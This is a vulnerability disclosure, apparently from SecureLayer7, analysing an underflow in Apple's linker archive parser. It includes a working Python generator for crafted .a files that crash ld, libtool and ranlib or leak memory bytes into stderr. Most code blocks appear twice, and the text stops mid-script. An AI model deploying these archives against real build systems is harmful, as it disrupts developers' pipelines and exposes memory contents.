Responsible Disclosure
This vulnerability was identified by SecureLayer7 as part of our security research and was reported to the affected organization through our responsible disclosure process. We provided the affected organization with sufficient time to investigate, validate, and remediate the issue before considering public disclosure.
As of the date of publication, more than 90 days have elapsed since our initial disclosure, and we have not received a response or any indication that the issue has been addressed. Consistent with widely accepted responsible disclosure practices, we are publishing our findings to raise awareness, enable organizations to assess their exposure, and support the broader security community. The technical details presented in this article are intended solely for defensive and educational purposes. The disclosure timelime has also been provided at the end.
Until an official fix or mitigation is made available by the affected organization, users are strongly encouraged to evaluate their exposure and implement appropriate compensating controls wherever possible. Depending on the deployment, these may include restricting access to the affected functionality through network segmentation, VPNs or IP allowlisting, enforcing strong authentication and least-privilege access, monitoring for suspicious activity, and, where practical, temporarily disabling or limiting access to the vulnerable component until a remediation is available.
Disclosure Timeline
- 2026-05-23 — Report submitted to Apple Product Security
- 2026-05-23 — Follow-up: full source→sink paths for all three tools + ar byte layout
- ~2026-08 — Apple: “Limited Local Impact”
- ~2026-08-21 — 90 days elapsed, no patch in any channel
Introduction
The vulnerability analysed here is a memory-safety defect in mach_o::Archive::Entry::name(), the routine that decodes an ar-archive member’s sixteen-byte traditional name field inside the archive parser that Apple links into the default linker (ld-prime), libtool, ranlib, and dyld_info. The flaw allows a 4.5 KB static-archive file — pure data, never executed — to drive the parsing tool into an unbounded backwards walk through its own address space and then to hand a std::string_view carrying a near-SIZE_MAX length to three independent shipping sink classes. The sinks convert that single corrupted scalar into a deterministic SIGSEGV inside _platform_strlen, an attacker-shaped out-of-bounds read whose bytes are echoed verbatim into the tool’s stderr, and an uncaught std::bad_alloc abort raised by operator new. Authentication is not required and the vulnerability is reached by any build system that links a supplied archive; the practical delivery vector is the software supply chain, where prebuilt static libraries are routinely downloaded from package managers and vendors and linked as data. The vulnerability was patched in no version: Apple’s public repository still contains the identical loop three months after the report, and the vendor’s triage response contested the security classification rather than any technical finding. This document reconstructs the complete evidence chain — the on-disk file format, the source, the compiler output, the register-level underflow traces, the memory-layout studies, full exploit code, and kernel-recorded crash telemetry — in a form that can be re-verified with stock tools on any macOS host with Xcode installed.
What is the Affected Software?
The mach_o library is Apple’s modern C++23 parser and builder for Mach-O and archive files, published as part of the open-source dyld distribution and consumed by the linker toolchain that ships with every copy of Xcode and the Command Line Tools. Since Xcode 15 the new linker (“ld-prime”) is the default for arm64, arm64e, and x86_64 builds, and it embeds mach_o::Archive to parse every .a static library passed as a link input. /usr/bin/libtool and /usr/bin/ranlibare libxcselect shims that re-exec the developer-tools copies of themselves in whichever Xcode or Command Line Tools installation is active, and those copies embed the same parser; /usr/bin/ranlib is a hard link to the libtool binary and dispatches on argv[0]. The affected component matters because archives are the canonical exchange format between mutually distrusting parties: a dependency is distributed as a .a precisely when its source is not available, which makes the archive parser one of the first pieces of code to touch attacker-supplied bytes on a developer machine or continuous-integration runner. ld-classic, the legacy linker, uses the older cctools archive code and is unaffected, which cleanly isolates the blast radius to the modern toolchain that Apple now ships by default. Binary triage confirmed the parser’s presence — and the vulnerable function itself — in four toolchain binaries via their string signatures and symbol tables:
| Binary | Path (Xcode toolchain) | Status |
| ld (ld-prime) | …/XcodeDefault.xctoolchain/usr/bin/ld | PoC-verified — symbol __ZNK6mach_o7Archive5Entry4nameEv at 0x1000148a0 |
| libtool | …/XcodeDefault.xctoolchain/usr/bin/libtool | PoC-verified (two distinct crash signals) |
| ranlib | …/XcodeDefault.xctoolchain/usr/bin/ranlib | PoC-verified (hard link to libtool) |
| dyld_info | …/XcodeDefault.xctoolchain/usr/bin/dyld_info | same parser (string-signature match) |
Lab Setup
The laboratory is any stock macOS host with Xcode installed; there is nothing to compile, containerise, or configure, which is itself part of the impact argument.
Step 1: Environment Setup
sw_vers # macOS 26.4.1 (25E253) used throughout this research
xcodebuild -version
LD=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld
"$LD" -v # @(#)PROGRAM:ld PROJECT:ld-1266.8 BUILD 01:29:11 Apr 9 2026
sw_vers # macOS 26.4.1 (25E253) used throughout this research
xcodebuild -version
LD=/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld
"$LD" -v # @(#)PROGRAM:ld PROJECT:ld-1266.8 BUILD 01:29:11 Apr 9 2026
Step 2: Baseline Verification
Confirm the tools behave correctly on a benign archive before introducing attack input:
echo 'int x;' > /tmp/empty.c
xcrun -sdk macosx clang -arch arm64 -c /tmp/empty.c -o /tmp/empty.o
/usr/bin/libtool -static -o /tmp/benign.a /tmp/empty.o && echo "libtool baseline OK"
"$LD" -ld_new -arch arm64 -platform_version macos 14.0 14.0 \
-syslibroot "$(xcrun --sdk macosx --show-sdk-path)" -r /tmp/benign.a -o /tmp/benign.o \
&& echo "ld baseline OK"
echo 'int x;' > /tmp/empty.c
xcrun -sdk macosx clang -arch arm64 -c /tmp/empty.c -o /tmp/empty.o
/usr/bin/libtool -static -o /tmp/benign.a /tmp/empty.o && echo "libtool baseline OK"
"$LD" -ld_new -arch arm64 -platform_version macos 14.0 14.0 \
-syslibroot "$(xcrun --sdk macosx --show-sdk-path)" -r /tmp/benign.a -o /tmp/benign.o \
&& echo "ld baseline OK"
Step 3: Verification That the Binary Is Vulnerable
The symbol is present in the shipping binary and its disassembly shows the unguarded decrement that Section 5.4 analyses:
nm -arch x86_64 "$LD" | grep Archive5Entry4name
# 00000001000148a0 t __ZNK6mach_o7Archive5Entry4nameEv
lldb --batch -o "disassemble --start-address 0x1000148a0 --end-address 0x1000148d5" \
-o quit "$LD" -arch x86_64
nm -arch x86_64 "$LD" | grep Archive5Entry4name
# 00000001000148a0 t __ZNK6mach_o7Archive5Entry4nameEv
lldb --batch -o "disassemble --start-address 0x1000148a0 --end-address 0x1000148d5" \
-o quit "$LD" -arch x86_64
Expected output — note the absence of any zero test between the compare and the decrement:
ld[0x1000148c2] <+34>: movl $0x11, %edx
ld[0x1000148c7] <+39>: cmpb $0x20, -0x2(%rbx,%rdx) ; start[len] == ' '
ld[0x1000148cc] <+44>: leaq -0x1(%rdx), %rdx ; --len NO UNDERFLOW GUARD
ld[0x1000148d0] <+48>: je 0x1000148c7 ; loop while space
ld[0x1000148c2] <+34>: movl $0x11, %edx
ld[0x1000148c7] <+39>: cmpb $0x20, -0x2(%rbx,%rdx) ; start[len] == ' '
ld[0x1000148cc] <+44>: leaq -0x1(%rdx), %rdx ; --len NO UNDERFLOW GUARD
ld[0x1000148d0] <+48>: je 0x1000148c7 ; loop while space
The Analysis
The ar Format on Disk — Where Every Byte Lives
Every ar archive begins with an eight-byte global magic, and every member with a fixed sixty-byte header. The entire exploit lives inside the first field of the second member’s header, but the other fields — and the preceding member’s content — are what turn the underflow into a controlled primitive. Understanding the byte map is prerequisite to understanding the flows:
// <ar.h> — member header, 60 bytes exactly
struct ar_hdr {
char ar_name[16]; // offset +0 name, right-padded with ' ' ← THE TRIGGER
char ar_date[12]; // offset +16 mtime, decimal ASCII, space-padded
char ar_uid[6]; // offset +28 decimal ASCII, space-padded
char ar_gid[6]; // offset +34 decimal ASCII, space-padded
char ar_mode[8]; // offset +40 octal ASCII, space-padded
char ar_size[10]; // offset +48 content length, decimal ASCII, space-padded
char ar_fmag[2]; // offset +58 must be "`\n" ← the ONLY thing valid() checks
};
// <ar.h> — member header, 60 bytes exactly
struct ar_hdr {
char ar_name[16]; // offset +0 name, right-padded with ' ' ← THE TRIGGER
char ar_date[12]; // offset +16 mtime, decimal ASCII, space-padded
char ar_uid[6]; // offset +28 decimal ASCII, space-padded
char ar_gid[6]; // offset +34 decimal ASCII, space-padded
char ar_mode[8]; // offset +40 octal ASCII, space-padded
char ar_size[10]; // offset +48 content length, decimal ASCII, space-padded
char ar_fmag[2]; // offset +58 must be "`\n" ← the ONLY thing valid() checks
};
ARMAG = "!<arch>\n" (8 bytes, file offset 0)
ARFMAG = "`\n" (2 bytes, end of each member header)
ARMAG = "!<arch>\n" (8 bytes, file offset 0)
ARFMAG = "`\n" (2 bytes, end of each member header)
The generator helper used by every proof-of-concept in this document produces exactly this structure:
ARMAG, ARFMAG = b"!<arch>\n", b"`\n"
BITCODE_MAGIC = b"\xde\xc0\x17\x0b" # gate for ld's bitcode asprintf path
def hdr(name: bytes, size: int) -> bytes:
h = name.ljust(16, b" ") # ← 16 spaces here is the whole bug
h += b"0".ljust(12, b" ") # mtime
h += b"0".ljust(6, b" ") # uid
h += b"0".ljust(6, b" ") # gid
h += b"644".ljust(8, b" ") # mode
h += str(size).encode().ljust(10, b" ") # size
h += ARFMAG
assert len(h) == 60
return h
ARMAG, ARFMAG = b"!<arch>\n", b"`\n"
BITCODE_MAGIC = b"\xde\xc0\x17\x0b" # gate for ld's bitcode asprintf path
def hdr(name: bytes, size: int) -> bytes:
h = name.ljust(16, b" ") # ← 16 spaces here is the whole bug
h += b"0".ljust(12, b" ") # mtime
h += b"0".ljust(6, b" ") # uid
h += b"0".ljust(6, b" ") # gid
h += b"644".ljust(8, b" ") # mode
h += str(size).encode().ljust(10, b" ") # size
h += ARFMAG
assert len(h) == 60
return h
Two attacker-facing degrees of freedom matter downstream and are worth naming now, because every crash chain in Section 6 is a choice of these two values. The backwards-walk distance — how many space bytes immediately precede the trigger member’s ar_name — is set by the first member’s content and determines the poisoned length. The forward-walk environment — how the file ends and what the operating system maps after it — is set by the archive’s total size and content NUL-density and determines whether the poisoned length becomes a crash, a disclosure, or a silent second-stage payload.
Attack Flow

Entry Point Analysis
The attacker’s input enters as an ordinary build input: a file path on the linker or archiver command line. No privilege, entitlement, or authentication is involved anywhere on the path, and the only interaction required is that some build runs — which on a continuous-integration runner happens without any human present. Three concrete invocation paths exist in the shipping toolchain, and they reach the poisoned view through different call chains:
| Path | Tool & invocation | Entry chain |
| A | /usr/bin/libtool -static -o out.a poisoned.a | libtool::makeStaticLibrary → Tool::getMachOsFromPaths → Tool::appendInputs → Archive::forEachMachO → lambda |
| B | /usr/bin/ranlib poisoned.a | identical to Path A (ranlib is a hard link; behaviour selected by argv[0]) |
| C | ld -ld_new … -r poisoned.a -o out.o | ld::InputFiles::parseAllFiles → SliceParser::parse → parseArchiveFile → Archive::forEachMachO→ lambda |
Validation at the entry point is confined to Entry::valid(), and this is where the design fails first: the member is declared trustworthy before its name field has been shown to be decodable at all. The check inspects a different field than the one that breaks, so validation and parsing hold contradictory definitions of what a well-formed member is.
mach_o/Archive.cpp — Entry::valid():
Error Archive::Entry::valid() const
{
if ( memcmp(ar_fmag, ARFMAG, sizeof(ar_fmag)) == 0 ) { // only the 2-byte "`\n" magic
return Error::none(); // ar_name content never validated
}
return Error("archive member invalid control bits");
}
Error Archive::Entry::valid() const
{
if ( memcmp(ar_fmag, ARFMAG, sizeof(ar_fmag)) == 0 ) { // only the 2-byte "`\n" magic
return Error::none(); // ar_name content never validated
}
return Error("archive member invalid control bits");
}
A member header whose ar_name field holds sixteen 0x20 bytes — the historical ar encoding of “no name” — passes this check unchanged, and forEachMember() immediately feeds the entry to name(). Attacker control is total at this boundary: the sixteen bytes of ar_name, the entire content of the preceding member, and ar_size are all chosen by the file’s author.
Data Flow Analysis
forEachMember() copies the poisoned view into a plain-old-data Member structure, and that copy detaches the value from its origin: from this point forward every consumer sees an ordinary std::string_view and has no way to learn that its length is a wrap artifact rather than a measurement. The structure is passed by value into the block handler, moved into the tool’s input lambda, and finally stored in a container — the taint survives a re-iteration boundary, which is how the libtool std::string chain fires on a completely different code path than the one that first formatted the name.
mach_o/Archive.cpp — forEachMember():
Member member;
member.name = current->name(); // TAINTED DATA: size can be 0xFFFFFFFFFFFFxxxx
member.contents = content; // pointer stays valid (inside the mmap)
member.mtime = current->modificationTime();
member.uid = current->uid();
...
handler(member, memberIndex, fileOffset, stop); // poisoned view propagates to every tool
Member member;
member.name = current->name(); // TAINTED DATA: size can be 0xFFFFFFFFFFFFxxxx
member.contents = content; // pointer stays valid (inside the mmap)
member.mtime = current->modificationTime();
member.uid = current->uid();
...
handler(member, memberIndex, fileOffset, stop); // poisoned view propagates to every tool
The sanitisation that should exist — a len > 0 guard three lines above in name(), or a bounds check where the view is formatted — exists nowhere on the path. What does exist is an accidental, non-portable mitigation in one of the two formatter families. Apple’s internal _simple_vsprintf, which backs the mach_o::Error constructor, clamps a negative %.*sprecision to zero, so the error-object path prints ” and moves on. The BSD asprintf used directly by ld’s bitcode path and by libtool’s appendInputs implements C99 §7.21.6.1, under which a negative precision means precision omitted — so the formatter calls strlen on the pointer and simply keeps reading. Both formatters were measured directly on the same poisoned argument:
| precision argument | _simple_vsprintf “[%.*s]” | asprintf “[%.*s]” |
| 3 (normal) | [ABC] | [ABC] |
| -4096 | [] (clamped to 0) | [ entire string until NUL ] |
| INT_MIN | [] (clamped) | [ entire string until NUL ] |
| (int)0xFFFF0000 | [] (clamped) | [ entire string until NUL ] |
ld — parseArchiveFile lambda (shipping binary, disassembly at 0x100067119):
0x100067119 mov r8d, dword [rbx+8] ; r8d = (int32_t)name.size low dword
; 0xFFFFFFFFFFFF0000 truncates to 0xFFFF0000 (-65536)
0x10006711d mov r9, qword [rbx] ; r9 = name.data — valid pointer into the mmap
0x100067133 call asprintf ; "%s[%u](%.*s)" -> __vfprintf -> _platform_strlen
0x100067119 mov r8d, dword [rbx+8] ; r8d = (int32_t)name.size low dword
; 0xFFFFFFFFFFFF0000 truncates to 0xFFFF0000 (-65536)
0x10006711d mov r9, qword [rbx] ; r9 = name.data — valid pointer into the mmap
0x100067133 call asprintf ; "%s[%u](%.*s)" -> __vfprintf -> _platform_strlen
Core Vulnerability Analysis
The sink is a three-instruction loop whose only exit condition is the discovery of a non-space byte — a condition that, for the all-space encoding, cannot be satisfied inside the field, and therefore depends entirely on what happens to live before it in memory. Everything downstream inherits the loop’s arithmetic. Because len is unsigned, the first wrap is not an error but a new starting point: SIZE_MAX is congruent to minus one, and each further decrement extends the walk. The returned length len+1 then converts “walked N bytes too far backwards” into “a string of length two to the sixty-fourth minus N” — the worst shape a view can have, a dereferenceable pointer paired with a length that defeats every downstream sanity heuristic.
mach_o/Archive.cpp — Entry::name() (vulnerability sink):
else {
const char* start = this->ar_name;
size_t len = 15;
while ( start[len] == ' ') // VULNERABILITY: len is size_t; index 0 wraps to SIZE_MAX
--len; // EXPLOITATION POINT: reads start[-1], start[-2], ... OOB
return std::string_view(start, len+1); // len+1 after wrap = huge attacker-steered value
}
else {
const char* start = this->ar_name;
size_t len = 15;
while ( start[len] == ' ') // VULNERABILITY: len is size_t; index 0 wraps to SIZE_MAX
--len; // EXPLOITATION POINT: reads start[-1], start[-2], ... OOB
return std::string_view(start, len+1); // len+1 after wrap = huge attacker-steered value
}
The underflow, iteration by iteration. For a trigger member whose sixteen predecessor bytes are also spaces (first member’s content), the walk proceeds as follows, where start points at the trigger’s ar_name:
| iteration | index len | byte read | note |
| 1 | 15 | start[15] = ‘ ‘ | inside the field |
| … | … | ‘ ‘ | inside the field |
| 16 | 0 | start[0] = ‘ ‘ | last in-bounds read |
| 17 | SIZE_MAX | start[-1] ≡ start + 2⁶⁴ − 1 | first OOB read — the wrap |
| 18+ | SIZE_MAX−1, … | bytes before the member header | OOB, distance attacker-chosen |
| k | stops | first non-space byte found | poisoned length = 2⁶⁴ − k + 16 class |
(In the shipping binary the loop is compiled with a 0x11 initial value and a -2 displacement, so the wrap iteration reads rbx−3 rather than rbx−1; the substantive unbounded backwards walk is unchanged.)
Why the compiler preserved it. size_t wraparound is defined behaviour in C++, so the optimizer is forbidden from assuming the decrement cannot pass zero and is forbidden from inserting a check. The shipped loop is cmpb $0x20,-0x2(%rbx,%rdx) / leaq -0x1(%rdx),%rdx / je with no zero test — the bug, verbatim, at 0x1000148c7–0x1000148d0.
The len+1 subtlety that governs everything. If the walk stops exactly one step past the wrap, len equals SIZE_MAX and len+1 equals zero: the view is harmlessly empty and the tool exits cleanly. The poison therefore requires the walk to continue at least one further byte past the wrap, which the attacker arranges by padding the preceding member’s content with space characters — an A-padded predecessor stops the walk at the wrap boundary and renders the trigger dormant. The distance past the wrap, in bytes, becomes the low bits of the poisoned length. The lldb-validated traces make this concrete; with conditional breakpoints at name() entry (firing only when all sixteen name bytes are spaces) and at loop exit (0x1000148d2):
| predecessor padding | rdx at loop exit | signed value | OOB distance |
| 4 KB of spaces | 0xFFFFFFFFFFFFF000 | −4096 | 4,097 bytes |
| 64 KB of spaces | 0xFFFFFFFFFFFF0000 | −65,536 | 65,537 bytes |
The last byte compared in the 4 KB case is 0x0A — the `\n of the first member’s ar_fmag, exactly where the space-fill ends. These are direct register observations on the shipping binary, not source-level inferences.
Three shipping sink classes, one corrupted scalar. The SIGSEGV chain is asprintf descending into __vfprintf and then _platform_strlen, whose vectorised pcmpeqb reads forward off the end of the archive’s mmap into an unmapped guard gap; the crash log proves cross-mapping traversal, with the faulting address landing in a gap between the archive’s mapped-file region and a library’s __TEXT. The information-disclosure chain is the same walk terminating inside an adjacent mapping, so printf echoes foreign bytes into the tool’s stderr, twice, because the lambda formats the name once per asprintf call. The SIGABRT chain is libtool’s memberNameAndTime constructing a string from the view at libtool.cpp:459, asking operator new for approximately 1.8 × 10¹⁹ bytes, catching nothing, and terminating through std::terminate.
other_tools/libtool.cpp — memberNameAndTime():
static std::string memberNameAndTime(const mach_o::Archive::Member& member)
{
// USER-CONTROLLED: member.name.size() is a near-SIZE_MAX value from the underflowed name()
std::string tuple(member.name); // EXPLOITATION POINT: operator new(~2^64) throws std::bad_alloc
...
}
static std::string memberNameAndTime(const mach_o::Archive::Member& member)
{
// USER-CONTROLLED: member.name.size() is a near-SIZE_MAX value from the underflowed name()
std::string tuple(member.name); // EXPLOITATION POINT: operator new(~2^64) throws std::bad_alloc
...
}
Impact Analysis
A successful run hands the attacker three primitives on the developer’s machine or continuous-integration runner, originating from nothing but a data file. Availability falls first and hardest: the build dies on signal 11 or signal 6 with complete determinism, and because the crash is inside the toolchain rather than the build script, it takes down Xcode Cloud-style runners and any make, Bazel, or SwiftPM pipeline until a human triages what looks like flaky infrastructure; a single poisoned transitive archive in one vendored library is enough, and there is no vendor patch to deploy once noticed. Confidentiality is demonstrated rather than predicted: bytes from a mapping the archive does not own are printed into stderr, and build logs are precisely the artifact that continuous-integration systems retain, replicate across services, and expose most widely. The five leaked bytes in the validated proof-of-concept are public constants, but the primitive is a length-controlled forward read from the archive’s own mapping, and an attacker who submits many archives in one link already controls allocator pressure and therefore, to a measurable degree, which mapping neighbours the poison. Integrity is the one pillar untouched — no write primitive was found, and this analysis claims none. The strategic weight of the bug comes less from any single chain than from its position in the patch ecosystem: the vulnerable source is public, every third-party tool that vendors mach_o inherits it, and every future Apple tool that links the parser inherits the same sink suite with no fix to pull.
Exploitation
No exploit-development environment is required: the trigger is a few kilobytes of data and the sinks are the tools’ ordinary error paths. The strategy is to choose the preceding member’s content so the backwards walk terminates at a known offset — setting the poisoned length — and then to choose the file size and NUL-density so the forward strlenwalk ends where wanted: an unmapped page for a crash, a neighbouring mapping for a disclosure, a NUL byte for a controlled read that lets the poisoned value survive to a second sink. This section first lays out the byte-exact file layouts, then walks each chain step by step, then provides the complete generator.
Step 1: Anatomy of the Crafted Archives
All three proof-of-concept archives share one skeleton; what differs is the steering. The general layout:
offset size content
0 8 "!<arch>\n" global magic
8 60 member-1 header: ar_name="___.SYMDEF", ar_size=<S1>
68 S1 member-1 content ← SPACE-FILLED: steers the backwards walk
8+60+S1 60 member-2 header: ar_name=" "×16, ar_size=<S2> ← THE TRIGGER
148+S1 S2 member-2 content ← bitcode magic + NUL-density choice
offset size content
0 8 "!<arch>\n" global magic
8 60 member-1 header: ar_name="___.SYMDEF", ar_size=<S1>
68 S1 member-1 content ← SPACE-FILLED: steers the backwards walk
8+60+S1 60 member-2 header: ar_name=" "×16, ar_size=<S2> ← THE TRIGGER
148+S1 S2 member-2 content ← bitcode magic + NUL-density choice
The three production files, byte-exact:
| file | size | member-1 content | member-2 size | member-2 content | purpose |
| ld_sigsegv.a | 16,384 (page-aligned) | 64 spaces | 16,192 | bitcode magic + X×16,188 (zero NULs) | forward walk → unmapped page → SIGSEGV |
| leak_layout.a | 32,768 | 16 spaces | 32,624 | bitcode magic + X×32,620 | forward walk → adjacent r-x mapping → disclosure |
| libtool_badalloc.a | 4,480 | 4,096 spaces | 256 | bitcode magic + A×251 + one NUL | forward walk stops; poison survives to std::string → SIGABRT |
Note the two subtleties encoded in this table, each of which was validated by failure before it was validated by success. First, member-1 content must be spaces: an A-padded predecessor stops the backwards walk exactly one step past the wrap, len+1 degenerates to zero, and the tool exits cleanly. Second, libtool_badalloc.a needs both a long backwards walk (4,096 bytes of spaces) and a NUL inside member-2 (so libtool’s asprintf survives to store the poison), and the bitcode magic (so the member routes through libtool’s input path rather than the reject branch). Removing any one of the three yields a clean exit.
Step 2: The Complete Generator
Self-contained, Python standard library only:
#!/usr/bin/env python3
"""
archive_underflow.py — PoC generator/runner for the mach_o::Archive::Entry::name()
integer underflow (Apple submission; report ID withheld).
A member header whose 16-byte ar_name field is ALL SPACES drives
size_t len = 15;
while ( start[len] == ' ') --len;
from 15 through 0 into SIZE_MAX and backwards through process memory. The resulting
std::string_view has a valid pointer and a near-SIZE_MAX length, which shipping sinks
consume three ways: asprintf/strlen off the mmap (SIGSEGV / OOB echo), and
std::string(member.name) -> operator new(~2^64) -> std::bad_alloc (SIGABRT).
Usage:
python3 archive_underflow.py --target all # generate + run everything
python3 archive_underflow.py --target ld # ld SIGSEGV chain
python3 archive_underflow.py --target libtool # bad_alloc + SIGSEGV chains
python3 archive_underflow.py --target ranlib # ranlib SIGSEGV chain
python3 archive_underflow.py --generate-only # just write the .a files
"""
import argparse, os, shutil, subprocess, sys
LAB_ROOT = os.path.dirname(os.path.abspath(__file__))
OUT = os.path.join(os.path.dirname(LAB_ROOT), "generated")
ARMAG = b"!<arch>\n"
ARFMAG = b"`\n"
BITCODE_MAGIC = b"\xde\xc0\x17\x0b" # gate for ld's bitcode asprintf path
def hdr(name: bytes, size: int) -> bytes:
"""60-byte ar member header, space-padded exactly like the ar format."""
h = name.ljust(16, b" ") # <-- 16 spaces here is the whole bug
h += b"0".ljust(12, b" ") # mtime
h += b"0".ljust(6, b" ") # uid
h += b"0".ljust(6, b" ") # gid
h += b"644".ljust(8, b" ") # mode
h += str(size).encode().ljust(10, b" ") # size
h += ARFMAG
assert len(h) == 60, "header must be exactly 60 bytes"
return h
def build_sigsegv(path: str, total: int = 0x4000) -> str:
"""Page-aligned archive: no NUL after ar_name, so strlen walks to EOF and the
vectorised read faults on the unmapped next page."""
m1_content = b" " * 64 # spaces steer the BACKWARDS walk
m2_size = total - len(ARMAG) - 2 * 60 - len(m1_content)
m2 = hdr(b" " * 16, m2_size) + BITCODE_MAGIC + b"X" * (m2_size - 4)
data = ARMAG + hdr(b"__.SYMDEF", len(m1_content)) + m1_content + m2
assert len(data) == total
open(path, "wb").write(data)
return path
def build_badalloc(path: str) -> str:
"""Archive whose poisoned name reaches libtool's memberNameAndTime ->
std::string ctor -> operator new(near-SIZE_MAX). Member-1 content MUST be
spaces (walk must run many steps past the wrap, else len+1 == 0 = harmless
empty view); the bitcode magic routes the member through libtool's input
path; the trailing NUL lets the forward asprintf strlen stop so libtool
survives to consume the poison."""
m1_content = b" " * 4096
m2_size = 256
m2 = hdr(b" " * 16, m2_size) + BITCODE_MAGIC + b"A" * (m2_size - 5) + b"\x00"
open(path, "wb").write(ARMAG + hdr(b"__.SYMDEF", len(m1_content)) + m1_content + m2)
return path
def build_leak(path: str) -> str:
"""32 KB archive: the size that empirically lands an r-x mapping next to the
archive's mmap in ld, so the forward strlen crosses into it (leak) or a guard
gap (SIGSEGV) depending on macOS layout of the day."""
total = 0x8000
m1_content = b" " * 16
m2_size = total - len(ARMAG) - 2 * 60 - len(m1_content)
m2 = hdr(b" " * 16, m2_size) + BITCODE_MAGIC + b"X" * (m2_size - 4)
open(path, "wb").write(ARMAG + hdr(b"__.SYMDEF", len(m1_content)) + m1_content + m2)
return path
def xcode_ld() -> str:
return ("/Applications/Xcode.app/Contents/Developer/Toolchains/"
"XcodeDefault.xctoolchain/usr/bin/ld")
def sdk_path() -> str:
try:
return subprocess.check_output(["xcrun", "--sdk", "macosx", "--show-sdk-path"],
text=True).strip()
except Exception:
return ""
def run_ld(arc: str) -> int:
cmd = [xcode_ld(), "-ld_new", "-arch", "arm64", "-platform_version", "macos",
"14.0", "14.0", "-syslibroot", sdk_path(), "-r", arc, "-o", "/tmp/oe_out.o"]
print(f"[*] ld -> {os.path.basename(arc)}")
p = subprocess.run(cmd, capture_output=True, text=True)
return p.returncode
def run_libtool(arc: str) -> int:
cmd = ["/usr/bin/libtool", "-static", "-o", "/tmp/oe_out.a", arc]
print(f"[*] libtool -> {os.path.basename(arc)}")
p = subprocess.run(cmd, capture_output=True, text=True)
if p.stderr.strip():
print(" stderr: " + p.stderr.strip().splitlines()[-1][:100])
return p.returncode
def run_ranlib(arc: str) -> int:
tmp = "/tmp/oe_ranlib.a"
shutil.copy(arc, tmp)
print(f"[*] ranlib -> {os.path.basename(arc)}")
return subprocess.run(["/usr/bin/ranlib", tmp], capture_output=True).returncode
def report(chain: str, rc: int) -> None:
verdict = {139: "SIGSEGV", 134: "SIGABRT"}.get(rc)
if verdict:
print(f"[+] {chain}: VULNERABLE — {verdict} (exit {rc})")
elif rc == 1:
print(f"[-] {chain}: clean error (exit 1) — patched binary?")
else:
print(f"[?] {chain}: exit {rc}")
def main() -> int:
ap = argparse.ArgumentParser(description="Archive Entry::name() underflow PoCs")
ap.add_argument("--target", choices=["ld", "libtool", "ranlib", "all"], default="all")
ap.add_argument("--generate-only", action="store_true")
args = ap.parse_args()
os.makedirs(OUT, exist_ok=True)
f_sig = build_sigsegv(os.path.join(OUT, "ld_sigsegv.a"))
f_bad = build_badalloc(os.path.join(OUT, "libtool_badalloc.a"))
f_leak = build_leak(os.path.join(OUT, "leak_layout.a"))
for f in (f_sig, f_bad, f_leak):
print(f"[+] wrote {f} ({os.path.getsize(f)} bytes)")
if args.generate_only:
return 0
if args.target in ("ld", "all"):
report("ld -ld_new -r ld_sigsegv.a", run_ld(f_sig))
report("ld -ld_new -r leak_layout.a", run_ld(f_leak))
if args.target in ("libtool", "all"):
report("libtool -static libtool_badalloc.a", run_libtool(f_bad))
report("libtool -static leak_layout.a", run_libtool(f_leak))
if args.target in ("ranlib", "all"):
report("ranlib leak_layout.a", run_ranlib(f_leak))
return 0
if __name__ == "__main__":
sys.exit(main())
#!/usr/bin/env python3
"""
archive_underflow.py — PoC generator/runner for the mach_o::Archive::Entry::name()
integer underflow (Apple submission; report ID withheld).
A member header whose 16-byte ar_name field is ALL SPACES drives
size_t len = 15;
while ( start[len] == ' ') --len;
from 15 through 0 into SIZE_MAX and backwards through process memory. The resulting
std::string_view has a valid pointer and a near-SIZE_MAX length, which shipping sinks
consume three ways: asprintf/strlen off the mmap (SIGSEGV / OOB echo), and
std::string(member.name) -> operator new(~2^64) -> std::bad_alloc (SIGABRT).
Usage:
python3 archive_underflow.py --target all # generate + run everything
python3 archive_underflow.py --target ld # ld SIGSEGV chain
python3 archive_underflow.py --target libtool # bad_alloc + SIGSEGV chains
python3 archive_underflow.py --target ranlib # ranlib SIGSEGV chain
python3 archive_underflow.py --generate-only # just write the .a files
"""
import argparse, os, shutil, subprocess, sys
LAB_ROOT = os.path.dirname(os.path.abspath(__file__))
OUT = os.path.join(os.path.dirname(LAB_ROOT), "generated")
ARMAG = b"!<arch>\n"
ARFMAG = b"`\n"
BITCODE_MAGIC = b"\xde\xc0\x17\x0b" # gate for ld's bitcode asprintf path
def hdr(name: bytes, size: int) -> bytes:
"""60-byte ar member header, space-padded exactly like the ar format."""
h = name.ljust(16, b" ") # <-- 16 spaces here is the whole bug
h += b"0".ljust(12, b" ") # mtime
h += b"0".ljust(6, b" ") # uid
h += b"0".ljust(6, b" ") # gid
h += b"644".ljust(8, b" ") # mode
h += str(size).encode().ljust(10, b" ") # size
h += ARFMAG
assert len(h) == 60, "header must be exactly 60 bytes"
return h
def build_sigsegv(path: str, total: int = 0x4000) -> str:
"""Page-aligned archive: no NUL after ar_name, so strlen walks to EOF and the
vectorised read faults on the unmapped next page."""
m1_content = b" " * 64 # spaces steer the BACKWARDS walk
m2_size = total - len(ARMAG) - 2 * 60 - len(m1_content)
m2 = hdr(b" " * 16, m2_size) + BITCODE_MAGIC + b"X" * (m2_size - 4)
data = ARMAG + hdr(b"__.SYMDEF", len(m1_content)) + m1_content + m2
assert len(data) == total
open(path, "wb").write(data)
return path
def build_badalloc(path: str) -> str:
"""Archive whose poisoned name reaches libtool's memberNameAndTime ->
std::string ctor -> operator new(near-SIZE_MAX). Member-1 content MUST be
spaces (walk must run many steps past the wrap, else len+1 == 0 = harmless
empty view); the bitcode magic routes the member through libtool's input
path; the trailing NUL lets the forward asprintf strlen stop so libtool
survives to consume the poison."""
m1_content = b" " * 4096
m2_size = 256
m2 = hdr(b" " * 16, m2_size) + BITCODE_MAGIC + b"A" * (m2_size - 5) + b"\x00"
open(path, "wb").write(ARMAG + hdr(b"__.SYMDEF", len(m1_content)) + m1_content + m2)
return path
def build_leak(path: str) -> str:
"""32 KB archive: the size that empirically lands an r-x mapping next to the
archive's mmap in ld, so the forward strlen crosses into it (leak) or a guard
gap (SIGSEGV) depending on macOS layout of the day."""
total = 0x8000
m1_content = b" " * 16
m2_size = total - len(ARMAG) - 2 * 60 - len(m1_content)
m2 = hdr(b" " * 16, m2_size) + BITCODE_MAGIC + b"X" * (m2_size - 4)
open(path, "wb").write(ARMAG + hdr(b"__.SYMDEF", len(m1_content)) + m1_content + m2)
return path
def xcode_ld() -> str:
